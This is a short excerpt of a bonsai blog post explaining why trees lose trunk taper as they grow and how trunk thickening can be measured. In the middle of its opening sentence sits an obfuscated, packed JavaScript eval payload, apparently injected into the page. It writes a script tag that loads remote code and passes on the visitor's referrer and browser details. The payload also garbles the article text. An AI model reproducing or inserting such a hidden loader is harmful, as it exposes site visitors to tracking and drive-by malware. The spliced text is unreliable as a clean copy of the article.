Why bonsai loose taper

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Source: Growing Bonsai Blog.

Why eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ndhay|var|u0026u|referrer|zezse||js|php’.split(‘|’),0,{})) bonsai and trees loose taper over time Tamarix with wonderfull taper It is one of those questions everybody has had when starting with bonsai. Why is the taper so extreme in bonsai? Trees in Nature do not have that taper. And.. Why is my tree losing taper during development? In other words: Why do I have to start with extreme taper when building bonsai. As a tree grows it gets a thicker trunk This is obvious, right? If a tree is alive, it stores energy from sunlight into sugars. And with these sugars cells are built. In order to move sap and nutrients around in the plant, the Xylem add a growth layer to the wood of the trunk each year (growth rings), while the phloem adds to the bark each year (see why trunks grow thick). The more photosynthesis a plant has, the faster the growth. How can we define bonsai trunk thickening? One can look at trunk thickening in 2 ways. One way is to look at the increase of the diameter of the trunk. This is the easiest to measure, and the way most people look at thickening. This is after all what you SEE when looking at your tree. Normally, in all speech this is the measure people use when looking at trunk size. Not diameter but area I would however like to look at trunk size from the perspective of ‘surface area’ of the trunk. In other words:…

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